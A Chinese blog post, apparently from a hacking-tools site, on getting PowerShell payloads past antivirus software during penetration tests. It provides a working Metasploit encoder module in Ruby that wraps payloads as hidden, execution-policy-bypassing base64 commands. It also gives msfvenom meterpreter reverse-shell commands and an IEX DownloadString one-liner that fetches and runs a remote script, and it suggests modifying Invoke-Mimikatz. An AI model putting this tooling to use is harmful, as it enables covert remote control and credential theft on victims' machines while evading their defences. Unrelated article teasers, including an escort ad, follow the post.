关于Powershell对抗安全软件

hacker4年前黑客工具258

  Windows PowerShell是以.NET Framework技术为基础,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术。

  同时也包含了数种系统管理工具、简易且一致的语法,提升管理者处理,常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。

  Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。

  

  在https://technet.microsoft.com,看到文档如下:

  Here is a listing of the available startup parameters:

  -Command Specifies the command text to execute as though it were typed at the PowerShell command prompt.

  -EncodedCommand Specifies the base64-encoded command text to execute.

  -ExecutionPolicy Sets the default execution policy for the console session.

  -File Sets the name of a script fi le to execute.

  -InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML.

  -NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt (cmd.exe).

  -NoLogo Starts the PowerShell console without displaying the copyright banner.

  -Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user.

  -NoProfile Tells the PowerShell console not to load the current user’s profile.

  -OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML.

  -PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell.

  -Sta Starts PowerShell in single-threaded mode.

  -Version Sets the version of Windows PowerShell to use for compatibility, such as 1.0.

  -WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal.

  针对它的特性,本地测试:

  Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Micropoor')

  

  

  上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为例,生成payload。 https://www.secpulse.com/archives/71225.html

  micropoor.ps1不幸被杀。

  

  

  针对powershell特性,更改payload

  

  接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell,DownloadString特性,设计出2种payload形式:

  (1)目标机出网

  (2)目标机不出网

  并且根据需求,无缝连接Metasploit。https://www.secpulse.com/archives/71225.html

  根据微软文档,可以找到可能对以上有帮助的属性,分别为:

  WindowStyle

  NoExit

  EncodedCommand

  exec

  自动化实现如下:

  # copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.

  # E.g

  # msf encoder(powershell/base64) > use exploit/multi/handler

  # msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp

  # payload => windows/x64/meterpreter/reverse_tcp

  # msf exploit(multi/handler) > exploit

  # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.

  # [*] Started reverse TCP handler on xx.1xx.xx.xx:xx

  class MetasploitModule < Msf::Encoder

  Rank = NormalRanking

  def initialize

  super(

  'Name' => 'Powershell Base64 Encoder',

  'Description' => %q{

  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.

  },

  'Author' => 'Micropoor',

  'Arch' => ARCH_CMD,

  'Platform' => 'win')

  register_options([

  OptBool.new('payload', [ false, 'Use payload ', false ]),

  OptBool.new('x64', [ false, 'Use syswow64 powershell', false ])

  ])

  end

  def encode_block(state, buf)

  base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))

  cmd = ''

  if datastore['x64']

  cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '

  else

  cmd += 'powershell.exe '

  end

  if datastore['payload']

  cmd += '-windowstyle hidden -exec bypass -NoExit '

  end

  cmd += "-EncodedCommand #{base64}"

  end

  end

  # if use caidao

  # execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows

  # xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.

  copy powershell_base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.

  参数 payload 选择是否使用Metasploit payload,来去掉powershell的关键字。

  例1(目标出网,下载执行):

  echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\"" |msfvenom -e powershell/base64 --arch x64 --platform windows

  

  

  例2(目标不出网,本地执行)

  

  注:加payload参数

  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows payload

  更多有趣的实验:

  把例1的down内容更改为例2,并且去掉payload参数。来减小payload大小。

  更改Invoke-Mimikatz.ps1等。

  

  参考致谢

  https://technet.microsoft.com/en-us/library/ff629472.aspx

  https://www.secpulse.com/archives/tag/powershell

  https://github.com/danielbohannon/Invoke-Obfuscation

标签: 渗透测试

相关文章

输入真实姓名网上找人,输入姓名查个人信息

2020年12月2日至12月4日,欧洲新兴科技盛会Web Summit拉开帷幕,华为智慧助手·今天亮相此次盛会,并在会上宣布将于近期上线大英百科内容服务。在此次合作中,大英百科的服务将覆盖西欧地区,为...

再见韩语怎么说谐音字(新年快乐韩语怎么写)

在我们用汉语说一声再见时,大家可以说“再见了,再见了,下次见。”同样,韩文中也有很多说一声再见的方法~ 不必每一次都说“再见了”,使我们丰富多彩一下说一声再见的方法~使我们讨论一下韩文中表明“再见了...

唐鹤德为什么喜欢男的(张国荣怎么会迷上男的?)

虽然张国荣早就逝世十多年了,但他留出的歌曲和电影仍然让子孙后代沉醉于他的风彩,他的伤害遮住了几代人。不管他是不是张国荣的粉絲,每一个人都叫他“亲哥哥”。张国荣为什么给他亲哥哥打电话?每一个人都那麼叫,...

有做了伴游的女孩儿么-【邢莉】

“有做了伴游的女孩儿么-【邢莉】” 秋文西安 商务_高档服务项目价钱,经记手机微信,一、西安 商务高档服务  从那以后,RuPaul发售了此外七张个人工作室个人专辑,虽然从那时起就再也不会时兴最新单曲...

品牌运营具体模式包括哪些(品牌运营6大心法)

品牌运营具体模式包括哪些(品牌运营6大心法)

一、品牌口碑的社群化运营有三个状态: 1、从传统的线下,到网络时代的线上 2、从线上到线下再到线上 3、线下——线上——线下——线上 相互交融迭代 将全案企划进行目标分解,通过线上推式以及线下...

美国新冠确诊人数超干部身份2300万 死亡人数超过38万

  据美国约翰斯·霍普金斯大学统计数据,截至13日晚10时,美国新冠肺炎确诊病例超过2306万人,死亡384604人。其中加利福尼亚州确诊283.4万人,得克萨斯州确诊204万人,佛罗里达州确诊151...